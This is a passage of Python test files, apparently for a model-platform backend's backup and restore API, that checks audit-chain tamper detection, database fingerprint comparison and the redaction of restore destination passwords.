+def test_dashboard_reports_measured_state_and_never_invents_a_backup(recovery: Any) -> None:
+    payload = client.get("/api/v1/admin/recovery/dashboard", headers=ADMIN).json()
+    assert payload["point_in_time_support"] == "NOT_SUPPORTED"
+    assert payload["latest_verified_backup_id"] is None
+    assert payload["latest_verified_backup_age_seconds"] is None
+    assert payload["observed_restore_seconds"] is None
+    assert payload["observed_rpo_seconds"] is None
+    assert payload["stale_backup"] is True
+    assert "postgres.modelforge" in payload["unprotected_assets"]
+    assert payload["verified_backup_count"] == 0
+
+
+def test_policies_and_assets_expose_the_full_classification(recovery: Any) -> None:
+    policies = client.get("/api/v1/admin/recovery/policies", headers=ADMIN).json()
+    assert {item["key"] for item in policies} >= {
+        "control-plane.database",
+        "artifacts.rehydratable",
+        "runtime.ephemeral",
+        "external.projects",
+        "secrets.credentials",
+    }
+    assets = client.get("/api/v1/admin/recovery/assets", headers=ADMIN).json()
+    assert {item["asset_class"] for item in assets} == {
+        "AUTHORITATIVE",
+        "REBUILDABLE",
+        "EPHEMERAL",
+        "EXTERNAL",
+        "SECRET",
+    }
+    external = [item for item in assets if item["asset_class"] == "EXTERNAL"]
+    assert all(item["readiness"] == "EXTERNAL_DEPENDENCY" for item in external)
+
+
+def test_capacity_estimate_is_reported_before_any_backup_is_written(recovery: Any) -> None:
+    payload = client.get("/api/v1/admin/recovery/capacity", headers=ADMIN).json()
+    assert payload["bytes_to_copy"] >= 0
+    assert payload["sufficient"] is True
+    assert isinstance(payload["detail"], str)
+
+
+def test_the_fingerprint_endpoint_returns_digests_without_secret_columns(recovery: Any) -> None:
+    payload = client.get("/api/v1/admin/recovery/fingerprint", headers=ADMIN).json()
+    assert payload["version"] == "m15.2"
+    assert len(payload["digest"]) == 64
+    assert "audit" in payload["groups"]
+    assert "secret_hash" in payload["tables"]["node_credentials"]["redacted_columns"]
+    assert "serving_gpu_leases" in payload["excluded_current_truth_tables"]
+
+
+def test_a_backup_set_response_never_exposes_a_destination_password(
+    recovery: Any, tmp_path: Path, monkeypatch: pytest.MonkeyPatch
+) -> None:
+    session, service, _settings = recovery
+    _subject, record = seed_backup(session, tmp_path, backup_id="m15-api-backup")
+    monkeypatch.setattr(service.engine, "list_dump_contents", lambda _payload: 7)
+
+    listed = client.get("/api/v1/admin/recovery/backups", headers=ADMIN).json()
+    assert [item["backup_id"] for item in listed] == ["m15-api-backup"]
+    assert listed[0]["restore_eligible"] is False
+
+    verified = client.post(
+        f"/api/v1/admin/recovery/backups/{record.id}/verify", headers=ADMIN
+    ).json()
+    assert verified["state"] == "VERIFIED"
+    assert verified["restore_eligible"] is True
+    assert "secret" not in verified["database_identity"].get("connection", "")
+    assert verified["entries"][0]["logical_asset_type"] == "control_plane_database"
+
+
+def test_creating_a_restore_plan_against_the_live_database_is_refused(
+    recovery: Any, tmp_path: Path, monkeypatch: pytest.MonkeyPatch
+) -> None:
+    session, service, _settings = recovery
+    _subject, record = seed_backup(session, tmp_path, backup_id="m15-api-selftarget")
+    monkeypatch.setattr(service.engine, "list_dump_contents", lambda _payload: 1)
+    service.verify_backup(record.id)
+
+    response = client.post(
+        "/api/v1/admin/recovery/restore-plans",
+        headers=ADMIN,
+        json={
+            "backup_set_id": str(record.id),
+            "mode": "VALIDATION",
+            "target_environment": "ISOLATED",
+            "target_label": "self-target",
+            "database_destination": (
+                "postgresql+psycopg://modelforge:secret@postgres:5432/modelforge"
+            ),
+            "artifact_strategy": "MANIFEST_ONLY",
+            "secret_strategy": "RESTORE_HASHES",
+            "node_strategy": "NONE",
+            "reason": "attempting to restore over the running control plane",
+        },
+    )
+    assert response.status_code == 409
+    assert response.json()["error"]["code"] == "DESTINATION_NOT_ISOLATED"
+
+
+def test_a_restore_plan_is_returned_with_a_redacted_destination(
+    recovery: Any, tmp_path: Path, monkeypatch: pytest.MonkeyPatch
+) -> None:
+    session, service, _settings = recovery
+    _subject, record = seed_backup(session, tmp_path, backup_id="m15-api-plan")
+    monkeypatch.setattr(service.engine, "list_dump_contents", lambda _payload: 1)
+    service.verify_backup(record.id)
+
+    created = client.post(
+        "/api/v1/admin/recovery/restore-plans",
+        headers=ADMIN,
+        json={
+            "backup_set_id": str(record.id),
+            "mode": "VALIDATION",
+            "target_environment": "ISOLATED",
+            "target_label": "m15-isolated",
+            "database_destination": (
+                "postgresql+psycopg://modelforge:secret@postgres:5432/mf_restore"
+            ),
+            "artifact_strategy": "MANIFEST_ONLY",
+            "secret_strategy": "RESTORE_HASHES",
+            "node_strategy": "NONE",
+            "reason": "isolated validation restore rehearsal for the M15 API contract",
+        },
+    )
+    assert created.status_code == 201
+    payload = created.json()
+    assert payload["state"] == "DRAFT"
+    assert "secret" not in payload["database_destination_redacted"]
+    assert "database_destination" not in payload
+
+    fetched = client.get(
+        f"/api/v1/admin/recovery/restore-plans/{payload['id']}", headers=ADMIN
+    ).json()
+    assert fetched["backup_id"] == "m15-api-plan"
+
+
+def test_starting_a_restore_without_a_passing_preflight_is_refused(
+    recovery: Any, tmp_path: Path, monkeypatch: pytest.MonkeyPatch
+) -> None:
+    session, service, _settings = recovery
+    _subject, record = seed_backup(session, tmp_path, backup_id="m15-api-preflight")
+    monkeypatch.setattr(service.engine, "list_dump_contents", lambda _payload: 1)
+    service.verify_backup(record.id)
+    plan = client.post(
+        "/api/v1/admin/recovery/restore-plans",
+        headers=ADMIN,
+        json={
+            "backup_set_id": str(record.id),
+            "mode": "VALIDATION",
+            "target_environment": "ISOLATED",
+            "target_label": "m15-isolated",
+            "database_destination": (
+                "postgresql+psycopg://modelforge:secret@postgres:5432/mf_restore"
+            ),
+            "artifact_strategy": "MANIFEST_ONLY",
+            "secret_strategy": "RESTORE_HASHES",
+            "node_strategy": "NONE",
+            "reason": "a restore must not start before its preflight has passed",
+        },
+    ).json()
+
+    response = client.post(
+        f"/api/v1/admin/recovery/restore-plans/{plan['id']}/start",
+        headers=ADMIN,
+        json={"actor": "operator", "reason": "starting before preflight"},
+    )
+    assert response.status_code == 409
+    assert response.json()["error"]["code"] == "restore_preflight_required"
+
+
+def test_unknown_recovery_resources_return_typed_not_found_envelopes(recovery: Any) -> None:
+    missing = uuid.uuid4()
+    for path, code in (
+        (f"/api/v1/admin/recovery/backups/{missing}", "backup_not_found"),
+        (f"/api/v1/admin/recovery/restore-plans/{missing}", "restore_plan_not_found"),
+        (
+            f"/api/v1/admin/recovery/restore-operations/{missing}",
+            "restore_operation_not_found",
+        ),
+    ):
+        response = client.get(path, headers=ADMIN)
+        assert response.status_code == 404
+        assert response.json()["error"]["code"] == code
+
+
+def test_the_recovery_contract_is_published_in_the_openapi_document() -> None:
+    schema = app.openapi()
+    recovery_paths = {
+        path for path in schema["paths"] if path.startswith("/api/v1/admin/recovery")
+    }
+    assert len(recovery_paths) >= 15
+    assert "/api/v1/admin/recovery/backups" in recovery_paths
+    assert "/api/v1/admin/recovery/restore-plans/{plan_id}/preflight" in recovery_paths
+    components = schema["components"]["schemas"]
+    assert "BackupSetResponse" in components
+    assert "RestorePlanResponse" in components
+    assert "RecoveryDashboard" in components
+    # The restore destination DSN is never part of a response contract.
+    assert "database_destination" not in components["RestorePlanResponse"]["properties"]
+    assert "database_destination_redacted" in components["RestorePlanResponse"]["properties"]
+
+
+def test_recovery_settings_default_to_safe_values() -> None:
+    settings = Settings(_env_file=None)  # type: ignore[call-arg]
+    assert settings.restore_allow_production_target is False
+    assert settings.recovery_reconciliation_enabled is False
+    assert settings.backup_encryption_key is None
+    assert str(settings.backup_root).replace("\\", "/").endswith("/data/backups")

backend/tests/test_recovery_audit_integrity_rc.py

@@ -0,0 +1,836 @@
+"""Strict restored-audit verification at reconciliation, resume and READY boundaries."""
+
+from __future__ import annotations
+
+import base64
+import copy
+import hashlib
+import json
+import re
+import uuid
+from datetime import UTC, datetime, timedelta
+from pathlib import Path
+from types import SimpleNamespace
+from typing import Any
+from unittest.mock import Mock
+
+import pytest
+from sqlalchemy import Column, Integer, MetaData, Table, create_engine
+from sqlalchemy.orm import Session
+
+from modelforge_api.domain.audit import AUDIT_EMPTY_LEGACY_PREFIX_SEAL
+from modelforge_api.domain.recovery import (
+    RESTORE_PHASE_ORDER,
+    RecoveryFailureCode,
+    RestoreAdvanceRequest,
+    RestoreState,
+)
+from modelforge_api.persistence.models import Base
+from modelforge_api.services.audit import (
+    AUDIT_CURRENT_HASH_FORMAT,
+    AUDIT_HASH_FORMAT_V1,
+    AuditChainCheckpoint,
+    AuditEventRecord,
+    canonical_audit_payload_and_hash,
+    canonical_audit_payload_text_and_hash,
+    legacy_audit_prefix_seal,
+    normalise_audit_timestamp,
+)
+from modelforge_api.services.recovery import RecoveryError, RecoveryService
+from modelforge_api.services.recovery_fingerprint import (
+    CURRENT_TRUTH_TABLES,
+    FINGERPRINT_VERSION,
+    LEGACY_FINGERPRINT_VERSION,
+    MAX_ROWS_PER_TABLE,
+    _canonical_row,
+    _table_digest,
+    audit_fingerprint_differences_are_compatible,
+    classified_tables,
+    fingerprint_compatibility,
+    fingerprint_session,
+)
+from modelforge_api.services.recovery_postgres import (
+    CommandResult,
+    PostgresEngine,
+    PostgresTarget,
+    PostgresToolError,
+)
+from modelforge_api.settings import Settings
+
+TARGET = PostgresTarget("postgres", 5432, "restored", "modelforge", None)
+
+
+@pytest.fixture
+def session() -> Session:
+    engine = create_engine("sqlite+pysqlite:///:memory:")
+    Base.metadata.create_all(engine)
+    with Session(engine) as value:
+        yield value
+
+
+def _service(session: Session, tmp_path: Path) -> RecoveryService:
+    key = base64.b64encode(b"modelforge-rc-audit-test-key!!"[:32]).decode()
+    return RecoveryService(
+        session,
+        Settings(
+            backup_root=tmp_path / "backups",
+            backup_restore_root=tmp_path / "restore",
+            backup_encryption_key=key,
+            config_root=tmp_path / "config",
+            database_url="postgresql+psycopg://modelforge:test@postgres:5432/modelforge",
+        ),
+    )
+
+
+def _mixed_records() -> tuple[list[AuditEventRecord], AuditChainCheckpoint]:
+    legacy_id = uuid.UUID("11111111-1111-1111-1111-111111111111")
+    legacy_time = datetime(2026, 8, 28, 20, 0, 0, 123456, tzinfo=UTC)
+    legacy_payload, legacy_hash = canonical_audit_payload_and_hash(
+        correlation_id="legacy-request",
+        actor_type="operator",
+        actor_id="legacy-operator",
+        action="LEGACY_APPROVAL",
+        resource_type="revision",
+        resource_id="revision-1",
+        outcome="success",
+        details={"approved": True},
+        previous_event_hash=None,
+        hash_format=AUDIT_HASH_FORMAT_V1,
+    )
+    legacy = AuditEventRecord(
+        id=legacy_id,
+        sequence=1,
+        occurred_at=legacy_time,
+        event_hash=legacy_hash,
+        hash_format=AUDIT_HASH_FORMAT_V1,
+        **legacy_payload,
+    )
+
+    v2_id = uuid.UUID("22222222-2222-2222-2222-222222222222")
+    v2_time = legacy_time + timedelta(seconds=1)
+    v2_payload, v2_canonical_payload, v2_hash = canonical_audit_payload_text_and_hash(
+        correlation_id="v2-request",
+        actor_type="operator",
+        actor_id="v2-operator",
+        action="V2_APPROVAL",
+        resource_type="revision",
+        resource_id="revision-2",
+        outcome="success",
+        details={"approved": True},
+        previous_event_hash=legacy_hash,
+        hash_format=AUDIT_CURRENT_HASH_FORMAT,
+        event_id=v2_id,
+        occurred_at=v2_time,
+    )
+    v2 = AuditEventRecord(
+        id=v2_id,
+        sequence=2,
+        occurred_at=v2_time,
+        event_hash=v2_hash,
+        hash_format=AUDIT_CURRENT_HASH_FORMAT,
+        canonical_payload=v2_canonical_payload,
+        **v2_payload,
+    )
+    checkpoint = AuditChainCheckpoint(
+        singleton_id=1,
+        event_count=2,
+        last_sequence=2,
+        last_event_hash=v2_hash,
+        hash_format=AUDIT_CURRENT_HASH_FORMAT,
+        v2_start_sequence=2,
+        legacy_prefix_count=1,
+        legacy_prefix_seal=legacy_audit_prefix_seal([legacy]),
+    )
+    return [legacy, v2], checkpoint
+
+
+def _event_row(event: AuditEventRecord) -> dict[str, str]:
+    return {
+        "id": str(event.id),
+        "sequence": str(event.sequence),
+        "occurred_at": normalise_audit_timestamp(event.occurred_at),
+        "correlation_id": event.correlation_id,
+        "actor_type": event.actor_type,
+        "actor_id": event.actor_id,
+        "action": event.action,
+        "resource_type": event.resource_type,
+        "resource_id": event.resource_id or "",
+        "resource_id_is_null": "t" if event.resource_id is None else "f",
+        "outcome": event.outcome,
+        "details": json.dumps(event.details, sort_keys=True, separators=(",", ":")),
+        "previous_event_hash": event.previous_event_hash or "",
+        "previous_event_hash_is_null": "t" if event.previous_event_hash is None else "f",
+        "event_hash": event.event_hash,
+        "hash_format": event.hash_format,
+        "canonical_payload": event.canonical_payload or "",
+        "canonical_payload_is_null": "t" if event.canonical_payload is None else "f",
+    }
+
+
+def _head_row(checkpoint: AuditChainCheckpoint) -> dict[str, str]:
+    return {
+        "singleton_id": str(checkpoint.singleton_id),
+        "event_count": str(checkpoint.event_count),
+        "last_sequence": str(checkpoint.last_sequence),
+        "last_event_hash": checkpoint.last_event_hash or "",
+        "last_event_hash_is_null": "t" if checkpoint.last_event_hash is None else "f",
+        "hash_format": checkpoint.hash_format,
+        "v2_start_sequence": str(checkpoint.v2_start_sequence),
+        "legacy_prefix_count": str(checkpoint.legacy_prefix_count),
+        "legacy_prefix_seal": checkpoint.legacy_prefix_seal,
+    }
+
+
+class SnapshotEngine:
+    def __init__(
+        self,
+        events: list[dict[str, str]],
+        checkpoint: dict[str, str],
+        *,
+        marker_count: str = "0",
+    ) -> None:
+        self.events = events
+        self.checkpoint = checkpoint
+        self.marker_count = marker_count
+        self.operations: list[str] = []
+
+    def query_rows(
+        self,
+        _target: PostgresTarget,
+        sql: str,
+        *,
+        max_rows: int = 1000,
+    ) -> list[dict[str, str]]:
+        self.operations.append("query_rows")
+        if "from audit_chain_heads" in sql:
+            return [copy.deepcopy(self.checkpoint)]
+        if "count(distinct id)" in sql:
+            return [
+                {
+                    "event_count": str(len(self.events)),
+                    "distinct_event_ids": str(
+                        len({row["id"] for row in self.events})
+                    ),
+                    "distinct_sequences": str(
+                        len({row["sequence"] for row in self.events})
+                    ),
+                }
+            ]
+        match = re.search(
+            r"sequence > (-?\d+) or \(sequence = -?\d+ and "
+            r"id > '([0-9a-f-]+)'::uuid\)",
+            sql,
+        )
+        after = int(match.group(1)) if match is not None else None
+        after_id = uuid.UUID(match.group(2)) if match is not None else None
+        return [
+            copy.deepcopy(row)
+            for row in self.events
+            if after is None
+            or (int(row["sequence"]), uuid.UUID(row["id"])) > (after, after_id)
+        ][:max_rows]
+
+    def scalar(self, _target: PostgresTarget, _sql: str) -> str:
+        self.operations.append("scalar")
+        return self.marker_count
+
+
+def _engine() -> SnapshotEngine:
+    records, checkpoint = _mixed_records()
+    return SnapshotEngine([_event_row(event) for event in records], _head_row(checkpoint))
+
+
+def test_recovery_strictly_accepts_a_valid_mixed_legacy_v2_chain(
+    session: Session, tmp_path: Path
+) -> None:
+    subject = _service(session, tmp_path)
+    subject.engine = _engine()  # type: ignore[assignment]
+
+    checkpoint = subject._verify_restored_audit_chain(TARGET)
+
+    assert checkpoint.event_count == 2
+    assert checkpoint.v2_start_sequence == 2
+
+
+@pytest.mark.parametrize(
+    ("event_index", "field", "replacement"),
+    [
+        (0, "id", "aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa"),
+        (0, "occurred_at", "2026-08-29T20:00:00.123456Z"),
+        (1, "id", "bbbbbbbb-bbbb-bbbb-bbbb-bbbbbbbbbbbb"),
+        (1, "occurred_at", "2026-08-29T20:00:01.123456Z"),
+    ],
+)
+def test_recovery_rejects_id_and_timestamp_tamper_in_legacy_and_v2(
+    session: Session,
+    tmp_path: Path,
+    event_index: int,
+    field: str,
+    replacement: str,
+) -> None:
+    engine = _engine()
+    engine.events[event_index][field] = replacement
+    subject = _service(session, tmp_path)
+    subject.engine = engine  # type: ignore[assignment]
+
+    with pytest.raises(RecoveryError) as captured:
+        subject._verify_restored_audit_chain(TARGET)
+
+    assert captured.value.code == RecoveryFailureCode.AUDIT_CHAIN_CORRUPT.value
+
+
+@pytest.mark.parametrize("retained", [1, 0])
+def test_recovery_rejects_tail_and_complete_history_deletion(
+    session: Session, tmp_path: Path, retained: int
+) -> None:
+    engine = _engine()
+    engine.events = engine.events[:retained]
+    subject = _service(session, tmp_path)
+    subject.engine = engine  # type: ignore[assignment]
+
+    with pytest.raises(RecoveryError) as captured:
+        subject._verify_restored_audit_chain(TARGET)
+
+    assert captured.value.code == RecoveryFailureCode.AUDIT_CHAIN_CORRUPT.value
+    assert "checkpoint" in str(captured.value.details).lower()
+
+
+def test_corruption_blocks_before_already_applied_marker_lookup(
+    session: Session, tmp_path: Path
+) -> None:
+    engine = _engine()
+    engine.events.pop()
+    subject = _service(session, tmp_path)
+    subject.engine = engine  # type: ignore[assignment]
+    record = SimpleNamespace(id=uuid.uuid4())
+    plan = SimpleNamespace(
+        database_destination="postgresql://modelforge:test@postgres:5432/restored",
+        backup_set=SimpleNamespace(backup_id="backup-1"),
+    )
+
+    with pytest.raises(RecoveryError) as captured:
+        subject._reconcile_restored(record, plan)
+
+    assert captured.value.code == RecoveryFailureCode.AUDIT_CHAIN_CORRUPT.value
+    assert "scalar" not in engine.operations
+
+
+def test_valid_resume_checks_chain_before_returning_already_applied(
+    session: Session, tmp_path: Path
+) -> None:
+    engine = _engine()
+    engine.marker_count = "1"
+    subject = _service(session, tmp_path)
+    subject.engine = engine  # type: ignore[assignment]
+    record = SimpleNamespace(id=uuid.uuid4())
+    plan = SimpleNamespace(
+        database_destination="postgresql://modelforge:test@postgres:5432/restored",
+        backup_set=SimpleNamespace(backup_id="backup-1"),
+    )
+
+    result = subject._reconcile_restored(record, plan)
+
+    assert result["reconciliation"] == "ALREADY_APPLIED"
+    assert engine.operations.index("query_rows") < engine.operations.index("scalar")
+
+
+def test_corruption_is_an_independent_ready_gate_before_fingerprints(
+    session: Session, tmp_path: Path
+) -> None:
+    engine = _engine()
+    engine.events.clear()
+    subject = _service(session, tmp_path)
+    subject.engine = engine  # type: ignore[assignment]
+    record = SimpleNamespace()
+    plan = SimpleNamespace(
+        database_destination="postgresql://modelforge:test@postgres:5432/restored"
+    )
+
+    with pytest.raises(RecoveryError) as captured:
+        subject._validate_restored(record, plan)
+
+    assert captured.value.code == RecoveryFailureCode.AUDIT_CHAIN_CORRUPT.value
+
+
+def test_ready_resume_reverifies_even_when_every_phase_duration_is_present(
+    session: Session, tmp_path: Path
+) -> None:
+    subject = _service(session, tmp_path)
+    _records, checkpoint = _mixed_records()
+    verifier = Mock(return_value=checkpoint)
+    subject._verify_restored_audit_chain = verifier  # type: ignore[method-assign]
+    subject._journal = Mock()  # type: ignore[method-assign]
+    subject.audit = SimpleNamespace(write=Mock())  # type: ignore[assignment]
+
+    plan = SimpleNamespace(
+        database_destination="postgresql://modelforge:test@postgres:5432/restored",
+        backup_set=SimpleNamespace(backup_id="backup-1"),
+        state="PREFLIGHT_PASSED",
+    )
+    record = SimpleNamespace(
+        id=uuid.uuid4(),
+        state=RestoreState.VALIDATING.value,
+        plan=plan,
+        phase_durations={phase.value: 0.1 for phase in RESTORE_PHASE_ORDER},
+        rto_seconds=None,
+        rpo_seconds=0.0,
+        ready_at=None,
+    )
+    subject._operation_row = lambda _operation_id: record  # type: ignore[method-assign]
+    subject._operation_response = lambda value: value  # type: ignore[method-assign]
+
+    result = subject.advance_restore(
+        record.id,
+        RestoreAdvanceRequest(actor="operator", reason="resume final READY control"),
+    )
+
+    assert result.state == RestoreState.READY.value
+    verifier.assert_called_once()
+    verified_target = verifier.call_args.args[0]
+    assert (verified_target.host, verified_target.database, verified_target.user) == (
+        TARGET.host,
+        TARGET.database,
+        TARGET.user,
+    )
+    assert record.phase_durations[RestoreState.READY.value] >= 0
+
+
+def _v2_chain_rows(
+    count: int,
+    *,
+    duplicate_id_at: int | None = None,
+    duplicate_sequence_at: int | None = None,
+) -> tuple[list[dict[str, str]], AuditChainCheckpoint]:
+    rows: list[dict[str, str]] = []
+    previous_hash: str | None = None
+    started = datetime(2026, 8, 30, 12, 0, tzinfo=UTC)
+    for index in range(1, count + 1):
+        event_id = uuid.UUID(
+            int=(index - 1 if duplicate_id_at == index else index)
+        )
+        occurred_at = started + timedelta(microseconds=index)
+        payload, canonical_payload, event_hash = canonical_audit_payload_text_and_hash(
+            correlation_id=f"request-{index}",
+            actor_type="operator",
+            actor_id="pagination-control",
+            action="VALID_EVENT",
+            resource_type="audit-test",
+            resource_id=str(index),
+            outcome="success",
+            details={"index": index},
+            previous_event_hash=previous_hash,
+            hash_format=AUDIT_CURRENT_HASH_FORMAT,
+            event_id=event_id,
+            occurred_at=occurred_at,
+        )
+        record = AuditEventRecord(
+            id=event_id,
+            sequence=index,
+            occurred_at=occurred_at,
+            event_hash=event_hash,
+            hash_format=AUDIT_CURRENT_HASH_FORMAT,
+            canonical_payload=canonical_payload,
+            **payload,
+        )
+        row = _event_row(record)
+        if duplicate_sequence_at == index:
+            row["sequence"] = str(index - 1)
+        rows.append(row)
+        previous_hash = event_hash
+    checkpoint = AuditChainCheckpoint(
+        singleton_id=1,
+        event_count=count,
+        last_sequence=count,
+        last_event_hash=rows[-1]["event_hash"],
+        hash_format=AUDIT_CURRENT_HASH_FORMAT,
+        v2_start_sequence=1,
+        legacy_prefix_count=0,
+        legacy_prefix_seal=AUDIT_EMPTY_LEGACY_PREFIX_SEAL,
+    )
+    return rows, checkpoint
+
+
+def test_valid_501_row_chain_crosses_the_composite_cursor_boundary(
+    session: Session, tmp_path: Path
+) -> None:
+    rows, checkpoint = _v2_chain_rows(501)
+    engine = SnapshotEngine(rows, _head_row(checkpoint))
+    subject = _service(session, tmp_path)
+    subject.engine = engine  # type: ignore[assignment]
+
+    verified = subject._verify_restored_audit_chain(TARGET)
+
+    assert verified.event_count == 501
+    assert engine.operations.count("query_rows") == 4
+
+
+def test_composite_cursor_does_not_skip_the_501st_duplicate_sequence(
+    session: Session, tmp_path: Path
+) -> None:
+    rows, checkpoint = _v2_chain_rows(501, duplicate_sequence_at=501)
+    engine = SnapshotEngine(rows, _head_row(checkpoint))
+    subject = _service(session, tmp_path)
+    subject.engine = engine  # type: ignore[assignment]
+
+    with pytest.raises(RecoveryError) as captured:
+        subject._verify_restored_audit_chain(TARGET)
+
+    assert captured.value.code == RecoveryFailureCode.AUDIT_CHAIN_CORRUPT.value
+    assert engine.operations.count("query_rows") == 4  # head, identity counts, both pages
+    assert any(
+        "not unique" in violation or "expected 501" in violation
+        for violation in captured.value.details["violations"]
+    )
+
+
+def test_strict_recovery_rejects_a_valid_hash_chain_with_duplicate_event_uuid(
+    session: Session, tmp_path: Path
+) -> None:
+    rows, checkpoint = _v2_chain_rows(501, duplicate_id_at=501)
+    engine = SnapshotEngine(rows, _head_row(checkpoint))
+    subject = _service(session, tmp_path)
+    subject.engine = engine  # type: ignore[assignment]
+
+    with pytest.raises(RecoveryError) as captured:
+        subject._verify_restored_audit_chain(TARGET)
+
+    assert captured.value.code == RecoveryFailureCode.AUDIT_CHAIN_CORRUPT.value
+    assert engine.operations.count("query_rows") == 4
+    violations = captured.value.details["violations"]
+    assert any("UUID" in violation and "unique" in violation for violation in violations)
+    assert any("UUID" in violation and "duplicated" in violation for violation in violations)
+
+
+def _fingerprint(
+    version: str,
+    *,
+    include_checkpoint: bool,
+) -> dict[str, object]:
+    table_names = set(classified_tables())
+    if not include_checkpoint:
+        table_names.remove("audit_chain_heads")
+    tables: dict[str, object] = {
+        name: {
+            "row_count": 0,
+            "digest": hashlib.sha256(name.encode()).hexdigest(),
+            "status": "COMPLETE",
+            "redacted_columns": [],
+        }
+        for name in sorted(table_names)
+    }
+    tables["audit_events"] = {
+        "row_count": 12,
+        "digest": "a" * 64,
+        "status": "COMPLETE",
+        "redacted_columns": [],
+    }
+    if include_checkpoint:
+        tables["audit_chain_heads"] = {
+            "row_count": 1,
+            "digest": "b" * 64,
+            "status": "COMPLETE",
+            "redacted_columns": [],
+        }
+    return {
+        "version": version,
+        "tables": tables,
+        "digest": hashlib.sha256(version.encode()).hexdigest(),
+        "groups": {},
+        "physical_tables": sorted(table_names | CURRENT_TRUTH_TABLES),
+        "unexpected_tables": [],
+    }
+
+
+def _with_legitimate_reconciliation_delta(
+    source: dict[str, object], *, introduce_checkpoint: bool
+) -> dict[str, object]:
+    restored = copy.deepcopy(source)
+    restored["version"] = FINGERPRINT_VERSION
+    restored["digest"] = "f" * 64
+    restored["unexpected_tables"] = []
+    restored["physical_tables"] = sorted(classified_tables() | CURRENT_TRUTH_TABLES)
+    tables = restored["tables"]
+    assert isinstance(tables, dict)
+    tables["audit_events"] = {
+        "row_count": 13,
+        "digest": "c" * 64,
+        "status": "COMPLETE",
+        "redacted_columns": [],
+    }
+    tables["audit_chain_heads"] = {
+        "row_count": 1,
+        "digest": "d" * 64,
+        "status": "COMPLETE",
+        "redacted_columns": [],
+    }
+    if not introduce_checkpoint:
+        tables["operational_alerts"] = {
+            "row_count": 0,
+            "digest": "e" * 64,
+            "status": "COMPLETE",
+            "redacted_columns": [],
+        }
+    return restored
+
+
+def test_schema_0022_fingerprint_allows_exact_checkpoint_introduction_only() -> None:
+    source = _fingerprint(
+        LEGACY_FINGERPRINT_VERSION,
+        include_checkpoint=False,
+    )
+    source.pop("unexpected_tables")  # m15.1 predates explicit physical-table reporting
+    source.pop("physical_tables")
+    restored = _with_legitimate_reconciliation_delta(
+        source, introduce_checkpoint=True
+    )
+    contract = fingerprint_compatibility(
+        source, restored, source_schema_revision="20260828_0022"
+    )
+
+    assert contract.compatible is True
+    assert contract.mode == "SCHEMA_0022_TO_0024"
+    assert (
+        audit_fingerprint_differences_are_compatible(source, restored, contract)
+        is True
+    )
+
+
+def test_schema_0024_fingerprint_allows_only_exact_reconciliation_deltas() -> None:
+    source = _fingerprint(FINGERPRINT_VERSION, include_checkpoint=True)
+    restored = _with_legitimate_reconciliation_delta(
+        source, introduce_checkpoint=False
+    )
+    contract = fingerprint_compatibility(
+        source, restored, source_schema_revision="20260830_0024"
+    )
+
+    assert contract.compatible is True
+    assert contract.mode == "CURRENT_STRICT"
+    assert (
+        audit_fingerprint_differences_are_compatible(source, restored, contract)
+        is True
+    )
+
+
+def test_current_fingerprint_missing_its_checkpoint_remains_strictly_incompatible() -> None:
+    source = _fingerprint(
+        FINGERPRINT_VERSION,
+        include_checkpoint=False,
+    )
+    restored = _with_legitimate_reconciliation_delta(
+        source, introduce_checkpoint=True
+    )
+    contract = fingerprint_compatibility(
+        source, restored, source_schema_revision="20260830_0024"
+    )
+
+    assert contract.compatible is False
+    assert contract.mode == "INCOMPATIBLE"
+    assert (
+        audit_fingerprint_differences_are_compatible(source, restored, contract)
+        is False
+    )
+
+
+@pytest.mark.parametrize("attack", ["missing_models", "attacker_table"])
+def test_fingerprint_contract_rejects_sparse_or_unexpected_tables(attack: str) -> None:
+    source = _fingerprint(FINGERPRINT_VERSION, include_checkpoint=True)
+    restored = _with_legitimate_reconciliation_delta(
+        source, introduce_checkpoint=False
+    )
+    tables = source["tables"]
+    assert isinstance(tables, dict)
+    if attack == "missing_models":
+        tables.pop("models")
+    else:
+        tables["attacker_shadow"] = {
+            "row_count": 1,
+            "digest": "9" * 64,
+            "status": "COMPLETE",
+            "redacted_columns": [],
+        }
+
+    contract = fingerprint_compatibility(
+        source, restored, source_schema_revision="20260830_0024"
+    )
+
+    assert contract.compatible is False
+    assert (
+        audit_fingerprint_differences_are_compatible(source, restored, contract)
+        is False
+    )
+
+
+def test_semantic_fingerprint_exposes_an_unexpected_physical_table(
+    session: Session,
+) -> None:
+    source = fingerprint_session(session)
+    session.connection().exec_driver_sql(
+        "CREATE TABLE attacker_shadow (payload TEXT NOT NULL)"
+    )
+    restored = fingerprint_session(session)
+
+    assert source["unexpected_tables"] == []
+    assert restored["unexpected_tables"] == ["attacker_shadow"]
+    contract = fingerprint_compatibility(
+        source, restored, source_schema_revision="20260830_0024"
+    )
+    assert contract.compatible is False
+
+
+def test_fingerprint_rejects_large_non_audit_row_loss() -> None:
+    source = _fingerprint(FINGERPRINT_VERSION, include_checkpoint=True)
+    source_tables = source["tables"]
+    assert isinstance(source_tables, dict)
+    source_tables["projects"] = {
+        "row_count": 20,
+        "digest": "1" * 64,
+        "status": "COMPLETE",
+        "redacted_columns": [],
+    }
+    restored = _with_legitimate_reconciliation_delta(
+        source, introduce_checkpoint=False
+    )
+    restored_tables = restored["tables"]
+    assert isinstance(restored_tables, dict)
+    restored_tables["projects"] = {
+        "row_count": 1,
+        "digest": "2" * 64,
+        "status": "COMPLETE",
+        "redacted_columns": [],
+    }
+    contract = fingerprint_compatibility(
+        source, restored, source_schema_revision="20260830_0024"
+    )
+
+    assert contract.compatible is True
+    assert (
+        audit_fingerprint_differences_are_compatible(source, restored, contract)
+        is False
+    )
+
+
+def test_fingerprint_rejects_same_count_different_audit_digest() -> None:
+    source = _fingerprint(FINGERPRINT_VERSION, include_checkpoint=True)
+    restored = _with_legitimate_reconciliation_delta(
+        source, introduce_checkpoint=False
+    )
+    restored_tables = restored["tables"]
+    assert isinstance(restored_tables, dict)
+    restored_tables["audit_events"] = {
+        "row_count": 12,
+        "digest": "c" * 64,
+        "status": "COMPLETE",
+        "redacted_columns": [],
+    }
+    contract = fingerprint_compatibility(
+        source, restored, source_schema_revision="20260830_0024"
+    )
+
+    assert contract.compatible is True
+    assert (
+        audit_fingerprint_differences_are_compatible(source, restored, contract)
+        is False
+    )
+
+
+def test_fingerprint_helper_cannot_reuse_a_contract_after_table_mutation() -> None:
+    source = _fingerprint(FINGERPRINT_VERSION, include_checkpoint=True)
+    restored = _with_legitimate_reconciliation_delta(
+        source, introduce_checkpoint=False
+    )
+    contract = fingerprint_compatibility(
+        source, restored, source_schema_revision="20260830_0024"
